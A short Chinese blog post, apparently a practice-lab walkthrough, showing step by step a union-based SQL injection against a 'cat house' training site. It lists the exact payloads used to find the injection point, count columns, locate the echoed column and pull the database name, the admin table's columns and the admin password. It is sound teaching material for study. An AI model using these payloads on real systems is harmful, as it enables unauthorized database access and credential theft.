SQL注入之猫舍
第一步:先查看是否存在注入点:构造?id=1 and 1=1
回车后发现页面正常

构造?id=1 and 1=2
发现页面异常,得出结论:存在注入点

第二步:判断字段数
当输入order by 1和order by 2时页面都显示正常


当输入order by 3时,页面发生了异常
说明字段数为2

第三步:判断回显点
构造?id=1 and 1=2 union select 1,2 发现下面显示的是数字 “2” 说明在返显点在数字2的位置

第四步:查询相关内容
查询数据库名:and 1=2 union select 1,database() ,得到结果为mashe

查询表名:and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
得到结果:admin

查询字段名:(在admin表中查询)and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
第一个字段名为 id

第二个字段为username

第三个字段名为password

继续查询字段内容
查询用户名

这里查询第二排 limit 1,1发现没有正经用户,所以只有admin一个用户

查询admin用户的密码: and 1=2 union select 1,password from admin
得到最终结果 hellohack

本文来自博客园,作者:domb,转载请注明原文链接:https://www.cnblogs.com/domb2235/p/15487396.html
浙公网安备 33010602011771号